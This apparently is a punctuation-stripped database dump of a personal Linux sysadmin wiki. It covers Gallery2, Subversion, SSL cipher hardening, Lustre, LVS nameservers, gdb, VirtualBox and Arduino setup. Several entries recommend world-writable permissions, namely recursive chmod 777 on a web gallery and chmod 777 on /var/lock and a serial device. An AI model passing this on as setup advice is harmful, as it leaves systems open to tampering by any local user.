well you also must ensure paths are correct in home timelord public_html gallery2timelord embed php home timelord public_html gallery2timelord upgrade index php mysqli support note gallery requires apache and php to be compiled with --mysqli or you will recieve errors such as mysqli error 0 missing extension for native in connect localhost user_gallerydb debugging here is a good general faq this link contains tools for editing permissions and deleting the cache to re-run the installer permissions find -type d -exec chmod 777 ; find -type f -exec chmod 744 ; logging is enabled in gallery2timelord config php set to immediately for debug info to be dumped to screen immediately blog public_html blog wp-config php wiki public_html wiki adminsettings php public_html wiki localsettings php torrentflux html inc config config db php '),(223,'regex regular expressions',' bash bash bash egrep egrep supports extended regex for example use a pipe for either or searches #grep \'user root\' etc passwd you can pattern match any number of occurences of strings using brackets callandor # egrep \' a-z audio\' etc passwd pulse x 109 109 pulseaudio daemon var lib pulseaudio sbin nologin using parenthesis for matching one or more occurences callandor # egrep \'gam es ing \' etc passwd fgrep fgrep reads all regular expression metacharacters literally use it to search for special characters like etc in a file example fgrep \' \' etc apache2 httpd conf finding files find -name blah -ok rm ; '),(224,'linux scsi device tools',' sg3_utils sg - scsi generic using sg3_utils you are able to send identify scsi devices send commands to them and view their internal logs etc this page describes s3g functionality as the sg3_utils package is a collection of programs that use the sg interface the utilities can be categorized as follows variants of the unix dd command sg_dd sgp_dd sgq_dd and sgm_dd scanning and mapping utilities sg_scan sg_map and scsi_devfs_scan scsi support sg_inq scsi_inquiry sginfo sg_readcap sg_start and sg_reset timing and testing sg_rbuf sg_test_rwbuf sg_read sg_turs and sg_debug packages for s3g_utils are in the repos of most common distros the suse package description is summary a collection of tools that send scsi commands to devices description the sg3_utils package contains utilities that send scsi commands to devices as well as devices on transports traditionally associated with scsi e g fibre channel fcp serial attached scsi sas and the scsi parallel interface spi many other devices use scsi command sets atapi cd dvd drives and sata disks that connect via a translation layer or a bridge device are examples of devices that use scsi command sets testing devices with sg3_util tools testing devices with sg3_util tools testing devices with sg3_util tools callandor # sginfo -l dev scd0 dev sr0 dev sdb dev sda dev sg0 dev sda scsi1 ch 0 id 0 lun 0 dev sg1 dev sdb scsi4 ch 0 id 0 lun 0 dev sg2 dev scd0 scsi5 ch 0 id 0 lun 0 note in the below sg_ commands the scsi device name sg0 is used if the device is sata callandor # sg_read if dev sg0 bs 512 count 1mb mmap 1 time 2 time from second scsi read command to end was 6 602626 secs 77 53 mb sec average number of scsi read commands per second was 1183 32 1000000 0 records in scsi read commands issued 7813 scsi logging level scsi logging level scsi logging level logging can be enabled dynamically for a number of scsi logs outputting to the kernel log file callandor # scsi_logging_level -g --help for info current scsi logging level proc sys dev scsi logging_level 0 scsi_log_error 0 scsi_log_timeout 0 scsi_log_scan 0 scsi_log_mlqueue 0 scsi_log_mlcomplete 0 scsi_log_llqueue 0 scsi_log_llcomplete 0 scsi_log_hlqueue 0 scsi_log_hlcomplete 0 scsi_log_ioctl 0 you can also define scsi logging as a kernel boot argument see here '),(225,'sun studio and compiler',' various notes and tricks on using sun studio and the sun c compiler to turn on verbose output with cc use -# to do the same with cc use -v if you are getting an error such as cc acomp failed for blah c verbosity may help see how acomp is being called acomp error are sometimes caused when you are trying to compile c or c with the incorrect compiler cc or cc verify your path is to the correct one or set it directly in your makefile etc here is a page covering translating gcc vs sun compiler options from the sun forums sfv suggested when compiling for the intel atom sun compilers do not have a special -xarch -xchip setting for atom you might want to start with plain -xo4 -xarch sse2 or -fast -xarch sse2 combo icc notes icc notes icc notes these notes are actually for the intel c compiler - icc intel paper on compiling the kernel also has a link in it to another paper on gcc compatibility with icc wrapper script used to compile linux kernel with icc misc '),(226,'solaris zones',' can\'t wait to try this out '),(227,'cpanel configuration',' logwatch you can enable logwatch and set mailto root in logwatch conf then set up a forward for root next default cpanel configs are at usr share logwatch default conf logwatch conf and local configs are in etc logwatch conf logwatch conf to set up a forward for root you can do so in main server contacts change system mail preferences type of alerts to send can also be configured in main server contacts contact manager backups backups backups if you need to exclude files or directories from a domain create an exclude list in home user cpbackup-exclude conf following the directions here if you see permission errors in the cpbackup log it may be the files are not owned by user user but may be user nobody etc see here for more information to use ftp backups to another server and then be able to access a symlink inside the ftp folder on the remote server - you might need to mount the directory rather than use a symlink most ftp servers will not allow reading through symlinks in a chrooted ftp user directory for example you might mount a directory outside the ftp directory like mount dev mapper fileserver-backups home backupuser backups would let you access an lvm logical volume and mount it inside the ftp user user\'s directory backup logs usr local cpanel logs error_log and usr local cpanel logs cpbackup 1250858596 log are places to look for errors server load management server load management server load management if the load goes very high backups and logfile processing will be suspended to adjust edit this value in tweak settings under stats and logs the load average above the number of cpus at which logs file processing should be suspended default 0 or you can manually edit var cpanel cpanel config extracpus 0 and change it to a higher value this number should represent the number of cpu cores including ht processors on the system it become the load factor at which operations are suspended so setting it to 2 would allow backups to run until the server load reached 2 etc '),(228,'linux filesystem tools',' general ext3 faq general ext3 faq general ext3 faq a good detailed faq including detailed info can be found here ext3 journaling options and write latency ext3 journaling options and write latency ext3 journaling options and write latency ext3 allows you to choose from one of three data journaling modes at filesystem mount time data writeback data ordered and data journal to specify a journal mode you can add the appropriate string data journal for example to the options section of your etc fstab or specify the -o data journal command-line option when calling mount directly as we covered earlier in this article if you\'d like to specify the data journaling method used for your root filesystem data ordered is the default you can to use a special kernel boot option called rootflags so if you\'d like to put your root filesystem into full data journaling mode add rootflags data journal to your kernel boot options the above as well as additional information on ext3 and the journaling methods can be found here it also contains some very interesting performance tests indicating that data journal may be significantly faster in some applications journal details journal details journal details here is an article on tuning ext3 and changing the journal size to see what journaling is currently in effect callandor # dmesg grep -b 2 journal to remove or recreate the journal on ext3 see remove and create ext3 journal ext4 filesystem ext4 filesystem ext4 filesystem converting from an ext3 to and ext4 filesystem can do accomplished following the steps given here '),(229,'suse apache and php configuration',' configuring apache and php on suse linux there are some slight differences on configuring php and apache on suse firstly of course you need to have installed the proper packages at a minimum callandor etc # rpm -qa grep php php5-5 2 9-0 1 1 apache2-mod_php5-5 2 9-0 1 1 php5-mysql-5 2 9-0 1 1 callandor etc # rpm -qa grep apache apache2-2 2 10-2 5 apache2-utils-2 2 10-2 5 apache2-mod_php5-5 2 9-0 1 1 apache2-prefork-2 2 10-2 5 in suse the apache modules to load are specified differently than in some other distros; callandor etc apache2 # cat etc sysconfig apache2 grep apache_modules apache_modules actions alias auth_basic authn_file authz_host authz_groupfile authz_default authz_user authn_dbm autoindex cgi dir env expires include log_config mime negotiation setenvif ssl suexec userdir php5 restart apache and verify the php module is loaded callandor etc apache2 # apache2ctl -m php5_module shared also the user and group apache runs as normally set in httpd conf are in a seprate file as well callandor etc apache2 # cat uid conf user wwwrun group www reference sites reference sites reference sites some good sites on suse configurations and for apache and php in general '),(230,'eclipse ide platform',' eclipse ide eclipse ide eclipse ide there are several dzone guide to eclipse summarized at adding subversive or use subclipse instead getting php run as functioning getting php run as functioning getting php run as functioning good general eclipse config guide to add the zend debugger great php tutorial here too then add to you php ini ; zend debugger madness zend_extension var lib php5 zenddebugger so zend_debugger allow_hosts 127 0 0 1 zend_debugger expose_remotely always zend_debugger connector_port 10013 ; zend debugger madness end xdebug another debugging tool to check out is xdebug alternative alternative alternative you can get phped form nusphere which is another php ide tool '),(231,'subversion',' general info here is the free version of the o\'riley book on subverison here is a good summarized cheat sheet here are some setup guides install notes install notes install notes in this example kdrepos is a normal directory owned by the web user while directories below it are actual repos created with the svnadmin create command dav svn svnparentpath srv svn kdrepos if you have svnpath rather than svnparentpath in etc apache2 conf d subversion conf you might see paracelsus callandor svn co ardtest svn could not open the requested svn filesystem and in the web browser the error will be something about no repo found and no xml to display etc also a hint from the suse set up guide # allow the \'kdrepos index page to list all the repositories it contains svnlistparentpath on note ownership on the directories may need to be set with chown -r wwwrun www srv svn repos arduino dav db locks authentication authentication authentication configuring multiple auth sources see here moving repos moving repos moving repos to import a repo from another server origin server root wiki svn esnet com # cd repo root wiki repo # ls cfengine cobbler sandbox scripts websites root wiki repo # svnadmin dump scripts scripts_svn dump dumped revision 0 dumped revision 1 dumped revision 2 root wiki repo # scp -p 1972 scripts_svn dump root iodine timelordz com root destination server callandor # cd srv svn repos callandor srv svn repos # mv root scripts_svn dump callandor srv svn repos # svnadmin create esnetscripts callandor srv svn repos # svnadmin load esnetscripts see this guide ignore files ignore files ignore files see this post and this one reverting to previous version to revert your whole code base to a previous version see this post websvn websvn websvn websvn is a super great web interface to subversion very simple setup is described here if you have a working subverison install this will likely only take minutes to set up subclipse subclipse subclipse commands commands commands create the repo for first use cd fileserver data svn repos svnadmin create phpclass chown -r apache apache phpclass to import a project into the repo svn import phpclass -m phpclass repo this would contain the directories branches tags trunk alternativley you could specify the file such as root wiki svn esnet com # svn import esnettools file var www vhosts svn esnet com projects -m project creation primary subversion config file is etc httpd conf d subversion conf version control commands version control commands version control commands svn list --verbose adding new files and directories - svn add when you add a new file or directory to a project that has been checked out you must tell subversion to include that file or directory in its version control unix svn add file_or_dir_name adding a directory will add the directory and all the files and directories in it however this does not add the file or directory to the repository you must still issue a commit to update the repository if there are various files in the directory which are un-versioned and some which are you can add the un-versioned with svn st grep awk print 2 xargs svn add 1 committing changes - svn commit once you have added deleted or changed files or directories you can then commit those changes to the repository this command is pretty straightforward network svn commit -m saving recent changes svn commit no url - will post to the last url pulled from updating your local files - svn update update local files if you have a set of files checked out and would like to update them to the most recent version of files in the repository use the update command network svn update if there are newer files in the repository they will overwrite any files you have locally before using this command you may want to use the svn diff command to find out version log svn info svn list svn log svn log -r 5 19 # shows logs 5 through 19 in chronological order svn log -r 19 5 # shows logs 5 through 19 in reverse order svn log -r 8 # shows log for revision 8 eclipse subclipse eclipse subclipse eclipse subclipse a good tutorial on using subversion with eclipse with the subclipse pluin can be found here there are more tutorials on this site on eclipse in general and other topic here subversion and web site security subversion and web site security subversion and web site security if you develop a site with subversion ensure that when pushed to the production server you remove the svn folder or block access to it this folder and svn text-base contain all the files of the site such as php config files with passwords etc here is a good blog post showing this and giving a method of blocking it with htaccess # disallow browsing of subversion working copy administrative dirs order deny allow deny from all troubleshooting troubleshooting troubleshooting error options of \' \' 200 ok see this post - you most likely have the wrong url or perhaps an extra in your repo config error an error occurred while committing the transaction 409 #200031 in the case check the ownership and permissions of svn repopath db rep-cache db and ensure it is writable by the web user '),(232,'ssl certificates',' general ssl vhost configuration check cert command line a great ssl command line reference is here checking ssl certificate expiration in the command line with openssl is here for example openssl x509 -in mysite crt -noout -text weak ciphers here is a good site on pci scans which fail due to sslv2 or weak ciphers you can enforce sslv3 and disable weak ciphers by specifying to verify weak ciphers are disabled test with openssl paracelsus serenity openssl s_client -connect 192 168 2 1 443 -cipher low exp connected 00000003 5922 error 140790e5 ssl routines ssl23_write ssl handshake failure s23_lib c 188 you can modify your apache ssl conf to adjust which ssl versions are accepted and cipher strengths adding \' \' will deactivate an option for example sslciphersuite all adh export56 rc4 rsa high medium low sslv2 exp enull squid disable weak ciphers sample squid config with sslv3 and weak ciphers disabled https_port 192 168 2 1 443 cert var www production certs multi-domain multi-domain crt key var www production certs multi-domain multi-domain key cafile var www production certs multi-domain multi-domain ca-bundle options no_sslv2 accel vhost cipher all anull enull low exp adh rc4 rsa high medium sslv2 i found this site to be helpful on squid config suse notes http www suseblog com opensuse-linux-103-signing-self-generated-ssl-certificates-as-your-own-certificate-authority here is a full tutorial on generating ssls in suse gensslcert will create a cert with command line options fed to it it then by default places it in creating ca request certificate etc apache2 ssl crt ca crt\' - srv www htdocs ca crt\' cpanel issues error ssl error rx record too long error you may need to completely remove the ssl host and then add it again see http forums cpanel net f5 error-ssl_error_rx_record_too_long-when-accessing-default-ssl-page-105385 html this article and http forums cpanel net f34 ssl-woes-148369 html this one other ssl notes make sure you also install the crt file for the certificate chain if needed add the line in the vhost to point to this crt too or it will not work '),(233,'partition names with uuid e2label and block device names',' methods to reference partitions there are three primary methods of specifying device names in fstab each has some benefits are draw backs logical block device names dev sda1 this is the non-persistent method and is being phased out why is this method bad read this article for a great description but basically the order block devices are detected can change and depending on what driver you are using the names can go from hdx to sdx even for pata devices the libata driver names all hard drives sdx so if you move to using this driver references to hdx will be broken persistent naming conventions uuid 76845c4d-077c-4380-9b7a-8f689aab51f4 e2lable names home mydisk whatever note partitions can also be referenced by-id and by-path but these are not recommended for use as persistent names see the same articel referenced above tools tools tools here are some commands for listing the names and uuids of attached volumes a great article on this is here root anduril # blkid dev sda1 uuid 76845c4d-077c-4380-9b7a-8f689aab51f4 sec_type ext2 type ext3 label dev sda5 type swap uuid 6cdc3fec-ce3b-460a-963f-2d108da4e41d root anduril # vol_id --uuid dev sda1 76845c4d-077c-4380-9b7a-8f689aab51f4 root anduril # e2label dev sda1 root anduril # ls -l dev disk by-uuid total 0 lrwxrwxrwx 1 root root 10 2009-09-07 06 57 6cdc3fec-ce3b-460a-963f-2d108da4e41d - sda5 lrwxrwxrwx 1 root root 10 2009-09-07 06 57 76845c4d-077c-4380-9b7a-8f689aab51f4 - sda1 the volume name can be changed with e2label or tun2fs raid raid raid the section below was take from a post by jwbaker found here unfortunately you must not use uuid in etc fstab if you use software raid1 why because the raid volume itself and the first element of the mirror will appear to have the same filesystem uuid if the mirror breaks or for any other reason the md device isn\'t started at boot the system will mount any random underlying disk instead clobbering your mirror then you\'ll need a full resync bad juju to illustrate my point # blkid dev sda1 uuid d08379e4-1301-4c20-a616-95bee451bc09 sec_type ext2 type ext3 dev sda3 uuid cbb7ee43-e63f-435b-a6e1-3f6108dad104 sec_type ext2 type ext3 dev sdb1 uuid d08379e4-1301-4c20-a616-95bee451bc09 sec_type ext2 type ext3 dev sdb3 uuid cbb7ee43-e63f-435b-a6e1-3f6108dad104 sec_type ext2 type ext3 dev md0 uuid d08379e4-1301-4c20-a616-95bee451bc09 sec_type ext2 type ext3 dev md2 uuid cbb7ee43-e63f-435b-a6e1-3f6108dad104 sec_type ext2 type ext3 '),(234,'lustre distributed file system',' intro intro intro the luster administration manual is 500 pages and while filled with great info and very complete it is a bit daunting to do a quick set up following these steps you should be able to get a test cluster up in a very short period of time note i have since found this quick start blueprint which is extremely helpful too bad i didn\'t find this before i had to figure most of this out general information is also available at the main site where this good faq can also be found mailing list lust3r4m3669337 setting up a lustre cluster setting up a lustre cluster setting up a lustre cluster temp cluster our temporary luster cluster is currently in dc1 3 4 on these ips 207 150 181 10 - mds 207 150 181 12 - oss1 207 150 181 14 - oss2 a simple scenario will consist of 3 server 1 management data server mds and 2 object storage servers oss all three will have centos 5 3 in the future we might try this config and add the mds and oss partitions rather than using entire drives as devices this way we can run software raid 1 on the nodes we also have to look yet at configuring high availability ha services through heartbeat and configuring the oss nodes using the failover options supported by luster mds software raid 1 20gb swap 2gb mds remaining oss software raid 1 20gb swap 2gb oss remaining installing lustre setup script i made a script to automatically install all the rpms needed on the mds and oss nodes to connect from a client to the lustre cluster see the section below create the file systems on the nodes on the mgs server # mkfs lustre --fsname lustre --mgs --mdt dev sdb # mount -t lustre dev sdb lustre on each oss server # mkfs lustre --ost --fsname lustre --mgsnode 207 150 181 10 tcp0 dev sdb #mount -t lustre dev sdb lustre now you can access this using from a client for example from a centos client you will need these installed on the client root cobbler lustre # rpm -qa grep lustre lustre-client-1 8 1-2 6 18_128 1 14 el5_lustre 1 8 1 lustre-client-modules-1 8 1-2 6 18_128 1 14 el5_lustre 1 8 1 lustre-modules-1 8 1-2 6 18_128 1 14 el5_lustre 1 8 1 kernel-lustre-2 6 18-128 1 14 el5_lustre 1 8 1 you can then mount the target with root cobbler # mount -t lustre 207 150 181 10 lustre lustre and it will show up such as root cobbler lustre # df -h 207 150 181 10 lustre 147g 460m 139g 1 lustre or see the oss mounts in the pool with root cobbler lustre # lfs df -h uuid bytes used available use mounted on lustre-mdt0000_uuid 130 4g 459 6m 122 5g 0 lustre mdt 0 lustre-ost0000_uuid 146 7g 1 4g 137 8g 0 lustre ost 0 lustre-ost0001_uuid 146 7g 459 6m 138 8g 0 lustre ost 1 filesystem summary 293 3g 1 9g 276 6g 0 lustre managing lustre managing lustre managing lustre please see the quickstart blueprint for an introduction to basic managment commands stopping starting storage nodes root 10-0-0-1 # lctl dl 0 up mgs mgs mgs 11 1 up mgc mgc207 150 181 10 tcp 286db1cc-9673-0e98-2a46-62f221910298 5 2 up mdt mds mds_uuid 3 3 up lov lustre-mdtlov lustre-mdtlov_uuid 4 4 up mds lustre-mdt0000 lustre-mdt0000_uuid 5 5 up osc lustre-ost0000-osc lustre-mdtlov_uuid 5 6 up osc lustre-ost0001-osc lustre-mdtlov_uuid 5 to deactivate the second oss server you would use root 10-0-0-1 # lctl dl --device 6 deactivate monitoring striping see the using strips section of the quick start guide to view and modify how data is striped across oss nodes root cobbler lustre # lfs getstripe lustre 10megtest file monitoring file system useage monitoring file system useage monitoring file system useage this project uses snmp to monitor filesystem usage and support lustre ubuntu client ubuntu client ubuntu client hummm does not look good there are some lustre thins in repos but not the unpatched client might have to build from lustre-source pkg i could not get the module to build correctly not sure why configure fails saying it is unable to build modules at all archimedes anduril sudo apt-get install lustre-utils lustre-source liblustre you will also need to have linux-headers-x y z for your kernel installed then build the module using module-assistant archimedes anduril sudo module-assistant the assistant will install any needed build essential tools then use select select module or source package to work on find the lustre module and proceed with building it to not use module-assistant look in usr src modules lustre for the source file and configure and build manually compiling patchless client from source red hat compiling patchless client from source red hat compiling patchless client from source red hat to compile a patchless client from source '),(235,'name server clusters',' piranha gui you can view the load balancer status by logging into piranha however to restart named or fail over the ha service you must do so via ssh or at the console piranha is accessible on the two cache resolvers at or resovler02 credentials user pass the password can be re set using piranha-passwd access is restricted only to 10 0 201 ips controlled via htaccess files located in both etc sysconfig ha web etc sysconfig ha web secure piranha is started via its init script etc init d piranha-gui and does not require another instance of apache to run as it runs its own on port 3636 dnstop dnstop dnstop a wonderful tool for monitoring dns queries dnstop is installed on all our nameserver it is easy to use one hint if you created a pcap dump of netwrok traffic you can read it using dnstop - which can be pretty handy or just run dnstop live and view the current requests being made create a dump of traffic tcpdump -w out cap only run for a while - this will get giganotosaurus fast read it in dnstop dnstop -l9 out cap you can then also read in the tcpdump file into wireshark for further analysis to see what ips are making what types of dns queries etc load balancer load balancer load balancer this section needs more added the general status of load balancing and distribution of requests can be viewed in piranha or with the ipvsadm command load balancing between the name servers is accomplished via lvs linux virtual server which provides ha services though the interaction of several services the pulse service will monitor if the other members are up so for example if cache01 is acting as the primary and you stop pulse on it then cache02 will then become the primary etc dns troubleshooting tools dns troubleshooting tools dns troubleshooting tools add more here like how to use dig dig trace whois dnstop host mtr etc bug in rhel 5 named bug in rhel 5 named bug in rhel 5 named we were seeing issues where named would crash at random intervals the logs would show root cache-resolver01 web # grep named var log messages grep -b1 assertion oct 12 12 52 16 cache-resolver01 named 1882 socket c 1649 insist sock- pending_recv failed oct 12 12 52 16 cache-resolver01 named 1882 exiting due to assertion failure i traced it down to this known red hat https bugzilla redhat com show_bug cgi id 455802 named bug and which is outlined in more detail in the rhel 5 http rhn redhat com errata rhba-2009-1420 html errata the solution was to update our named packages to the current patched version i wrote a script to help do this on our name servers which downloads and installs the required rpms while repacking the old one - just in case the script is http ks sagonet com tools bind9 3 6 updatebind sh here lvs config lvs config lvs config getting the virtual ips configured for lvs can be a bit tricky this section needs to be completed to show how to do so '),(236,'c programming basics',' books books books a completed version of the c book is available here the entire contents of an introduction to gcc by brian gough published by network theory ltd is available on line and appear to have excellent content also available is the definitive guide to gcc by william von hagen which is available on google books here linux programming by example the fundamentals by arnold robbins published apr 12 2004 by prentice hall also appears excellent another excellent on-line resource is here this howto for programmers discusses how to create and use program libraries on linux this includes static libraries shared libraries and dynamically loaded libraries a good site with a bit of debugging gcc and assembly stuff is also in the freebsd developers handbook common mistakes common mistakes common mistakes initialize variable before using in expressions catch these by compiling with -wuninitialized note that wall does not catch these it seems g -wuninitialized -o -ansi -o uninitvar2 uninitvar2 cpp variable scope variables have scope in the statement block in which they are initialized not throughout the entire function in which they are initialized comparing c-strings string1 string2 compares the memory address of these two strings which will always evaluate to false thus use strcmp string1 string2 stream objects stream objects stream objects once you set define setprecision and showpoint for cout it will remain in effect if you want to get rid of this output formatting you use either of these cout 40 1 5 1; logical not you can use to invert if else clauses and cause them to be flipped easier than recoding them if you need to simply swap them e g if score 100 will cause the first part of the if statement normally executed to be skipped and the else clause to run if score is 90 also is often used with strcmp to test equality the following statements are equivalent if strcmp thing1 thing2 0 if strcmp thing1 thing2 in the second 0 is returned by strcmp if they are identicle this is then inverted to 1 to make the statement logically true memory management memory management memory management a good article on using pmap to analyze memory usage of a running application can be found here here is a slide show introduction to memory management and pointers in c for security reasons it is not possible to directly read memory addresses here is a good article on user space memory management tools in linux from the book linux programming by example the fundamentals floating points and iee 754 floating points and iee 754 floating points and iee 754 values are stored in memory following ieee 754 standards in e notation you can have instances were this might return unexpected results for example in the following y 5 and x is uninitialized x was created with the default uninitialized value of 4 88005e-270 the value of x y 5 is 1 22001e-268 the value of x y 5 is 25 in the first multiplication result the product is all small and thus returned with full precision in e notation the second result rather than being 25 e 278 4 is because the int value can not hold both the value 25 and the value 4 e-269 so only 25 is returned in other words the memory address of x can not contain both 25 and 4 -e278 in the ieee 754 standards article mr hollasch presents a bitwise breakdown of storing values in 32 and 64 bits and how the maximum values of ints and floats is determined in particular the section on precision is quite informative makefile automake etc makefile automake etc makefile automake etc first you have your basic http www delorie com djgpp doc ug larger makefiles html makefile further described here and yet another tutorial http www opussoftware com tutorial tutmakefile htm here beyond that you have autoconf and automake which are fully described in this excellent http sources redhat com autobook on-line book debugging gdb debugging gdb debugging gdb there are several graphical front ends available for gdb summarized here super good guide to gdb a fantastic guide to gdb can be found here this chapter shows the stack frame visually with some intro gdb commands too here is a great intro guide to using gdb on a sample program a more extended guide to debugging with gdb can be found at and at you need to compile with debugging info built in for example g -ggdb -o datatypes datatypes cpp note using just -g may not be sufficient with g then you can invoke the debugger useful gdb commands info source what source file is being used list list list main etc list lines from specified section function etc break 21 break my_function set breakpoint cont continue print variable display variable value etc frame 0 switch to frame 0 info locals prints out all local variable in the current frame whatis variable shows data type of variable examine the data type and offset location of variable named product gdb whatis product type double gdb p &product 10 double 0xbfffecc0 forum thread on offsets etc more gdb tips printing the range of values in an array including hex dumps of the values finding physical to virtual memory address location '),(237,'occult wicca college',' ellwood bunky bartlett in 2007 won the lottery and stated he wanted to open a wiccan seminary which would offer a variety of classes in both occultism and vocational training the name of his organization is some interviews from 2007 describing his plans '),(238,'xrandr display configuration',' xrandr -q xrandr --auto --output default --rotate left --mode 1050x1680 xrandr --newmode 1050x1680_60 146 00 1680 1784 1960 2240 1050 1053 1059 1089 xrandr --auto --output default --rotate left '),(239,'arcanum',' ultimate edition see the ultima readme txt readme txt patchreadme txt and unofficial arcanum patch txt files for info ultimate edition includes the no cd patch the last official patch the unofficial community patch hi-res support and numerous other fixes it also includes the module builder and original booklet and instruction installed in default ultimate install crossover games cxgames arcanum drive_c program files midgetreaper arcanum ultima arcanum to reconfigure game resolution cxgames bin wine setup-highres exe --nogame note highres bat just runs the above exe and switch but the bat does not run well under wind if you get this error error error loading arcanum exe stopping installation because of error error installing arcanum high resolution patch rolling back to previous state will uninstall 0 files for setup-highres tp2 component 0 uninstalled 0 files for setup-highres tp2 component 0 error unix unix_error 20 stat arcanum exe please email the file setup-highres debug to drogblacktooth hotmail com then make sure the arcanum exe has not been move or renamed check in highres backup 0 to start the game opt cxgames bin wine --bottle arcanum2 arcanum exe -no3d -doublebuffer cxgames bin wine --cx-app arcanum exe -no3d -doublebuffer cxgames bin cxstart arcanum exe cxgames bin wine arcanum exe -no3d -doublebuffer -scrollfps 50 if you start in from within crossover you will be presented with the ultimate edition loader screen which has a few options you can also get the launch menu just by running opt cxgames bin wine --bottle arcanum2 menu exe frame rate 3d support wine requires the -no3d switch without which there is mouse pointer and misc screen graphics corruption too bad as the frame rate is way better with 3d however even with -no3d once the game is started and past the initial cinematics it runs pretty well and is playable on a p4 2 4 crossover errors wine error multiple matches found for \'arcanum exe\' in \' home paracelsus cxgames arcanum drive_c\' this results when the hi-res patch makes a backup of the exe file when modifying it delete the backups in highres backup 1 arcanum exe etc '),(240,'airship pilotage',' still waiting for my moller sky car medical examiner frederick w campbell jr md 3000 e fletcher ave ste 120 tampa florida 33613 light sport aircraft '),(241,'keyboard configuration',' sometimes getting fancy multimedia keyboards to work under linux can be a bit tricky basic functionality is usually not the issue but getting all the media and function keys to work is sometimes a bit challenging here are a few resources i have found to assist general keyboard config apps general keyboard config apps general keyboard config apps there are some pretty polished apps out there these days for configuring keyboards under linux these two applications both look quite good at supporting a large number of keyboards and mice from a wide variety of manufacturers check out their compatibility lists to see if the hardware works with your distro version and kernel hidpoint has a very nice gui to it and allows for extremely easy configuration and keytouch over at sourceforge also looks quite good btnx is yet another config tool though there may be compatibility issues with newer kernels compile it yourself many additional comments on btnx can be found here additional comments on newer kernel compatibility are on this thread logitech cordless wave logitech cordless wave logitech cordless wave some chaps over at the ubuntu launchpad bug site worked out the udev rules and keymaps necessary for both the corded and cordless versions of the wave you can find these files here - the download links are listed as bug report attachments these should work on a good number of distros not just ubuntu though you may have to tweak a bit the k350 appears to be essentially the same but uses the unifying receiver - not sure if the same keymaps above will work on it too logitech g15 logitech g15 logitech g15 there are tools to get the lcd screen working under linux available from the g15 deamon sourceforge project you can direct standard output to it and there are some apps written to tail files to it a mini sized top monitor etc creative uses await in gnome i believe you can select this specific keyboard in preferences and choose to use the g15 daemon nice other config stuff other config stuff other config stuff handy list of kde gnome hotkeys '),(242,'pascals triangle',' pascal pascal\'s triangle is pretty nifty a simple number sequence arranged in a triangle and from which are derived many curious things within the rows you find the sequence of integers the fibonacci sequence and other interesting things such as the quincunx the quincunx is a very interesting example of probability pascal pascal\'s triangle and standard distribution this link has a simulator you can run which will drop marbles onto a quincunx and demonstrate the results obtained and more fun with this '),(243,'virtualbox tips',' mounting share paracelsus kubuntu-pete sudo mount -t vboxsf kubuntu home paracelsus share sudo password for paracelsus sbin mount vboxsf mounting failed with the error protocol error paracelsus kubuntu-pete sudo mount -t vboxsf kubuntu home paracelsus share paracelsus kubuntu-pete ls home paracelsus share converting vmware images there are several ways to convert between vmware and virtualbox format images this article lists gives two with a few more given in the comments as well in particular see the vboxmanage command line tool suggestion for example vboxmanage clonehd clone vmdk clone vdi -format vdi remaking kernel module after a kernel update you will need to remake the kernel module by running as root etc init d vboxdrv setup cloning a vm note if your etc fstab and boot grub menu 1st are using uuids for the partitions you should change these to dev sdax or update the entries to the correct uuids when the drives attach to the new vm they will be assigned new uuids but the files will have the old values resulting in a waiting for device uuid to appear message you can discover the new uuid with blkid also you should be able to temporarily boot the new vm by editing the kernel entry in the grub command line when you first boot - for example making it show root sda1 see here and here for more information each vm disk has a uuid so you must use one of the following methods vboxmanage clonehd source vdi destination vdi vboxmanage internalcommands setvdiuuid myvm vdi or sethduuid vboxmanage showhdinfo myvm vdi more information on cloning and snapshot integration can be found at moving a vdi new host machine ssh via nat you can just use bridged networking of course and not nat but if using nat then this is pretty cool if using nat on the guest os you can configure it to port forward a specified port on the host to port 22 on the guest then just ssh to the localhost port on the host see this great article describing this procedure example vboxmanage setextradata suse11 3-dev vboxinternal devices e1000 0 lun#0 config ssh hostport 2222 vboxmanage setextradata suse11 3-dev vboxinternal devices e1000 0 lun#0 config ssh guestport 22 vboxmanage setextradata suse11 3-dev vboxinternal devices e1000 0 lun#0 config ssh protocol tcp to see the settings vboxmanage getextradata suse11 3-dev enumerate if you get an error like failed to get the mac value verr_cfgm_value_not_found this mean you specified the wrong nic type e1000 pcnet etc to find the correct one right click on the guest and view the log - look for mac and find the network card identified there note if you specified the incorrect nic the first time you have to issue the vboxmange commands again with no arguments to clear remove then issue them again with the correct nic don\'t just update the guest guest\'s config xml file and update it there as this will be overwritten with the settings you made using vboxmanage '),(244,'samsung hdtv',' official samsung ln46b640 spec site and for the b650 see here official samsung opensource resources samygo wiki samygo extensions firmware upgrade via redirection mediatomb upnp server '),(245,'arduino',' arduino microcontroller programming for anyone the official arduino site is here some awesome getting started projects written in a very fun and approachable style are at the adafruit site she they also sell components etc awesome site a few more tutorials can be found at the hacktronics site another great site is curiousinventor oh what fun to be had and then there is the hackmod top 40 arduino projects and here is a free arduino book with even more projects once you install avr-libc below you can also see it it\'s great documentation located somewhere like file usr share doc packages avr-libc user-manual-1 6 2 index html also note there are man pages for many of the functions in this library the forums at hacktronics and adafruit are also pretty great things like arduino there are lots of other products like the arduino which i\'ll add here parallax has some cool controllers including the propeller - an 8 core 32 bit one as well as some basic robotics kits maker shed has a variety of cool projects instructables is also a source of cool project ideas arduino software in addition to java the arduino software requires packages like ubuntu sudo apt-get install gcc-avr avr-libc suse see this page here for more zypper install java-1 5 0-sun cross-avr-gcc cross-avr-binutils avr-libc modprobe ftdi_sio modprobe usbserial note if using an arduino atmega328p you have to use cross-avr-gcc43 or higher if you use cross-avr-gcc44 from the suse build server it will actually uninstall avr-libc you can either download and force install a version that will work or download an install cross-avr-gcc43 even if your programs compile you will not be able to sync with the arduino atmega328p unless you are using a later version of cross-avr-gcc set some permissions callandor # ls -ld var lock drwxrwxr-t 8 root uucp 4096 mar 26 11 52 var lock callandor # chmod 777 var lock callandor # ls -ld var lock drwxrwxrwx 8 root uucp 4096 mar 26 11 52 var lock callandor # ls -ld dev ttyusb0 crw-rw---- 1 root dialout 188 0 apr 2 00 29 dev ttyusb0 callandor # chmod 777 dev ttyusb0 callandor # ls -ld dev ttyusb0 crwxrwxrwx 1 root dialout 188 0 apr 2 00 29 dev ttyusb0 set symlinks per the suse article above and also add ln -s opt cross bin avrdude avrdude ensure you have libusb-0_1-4 installed if you have brltty installed remove it as it may conflict with arduino opensolaris here are some great reference on getting arduino to work on opensolaris from the above site the device drivers needed to communicate with the board were integrated in build 113 so you\'ll need to be running that build or later if you are running an earlier build you will 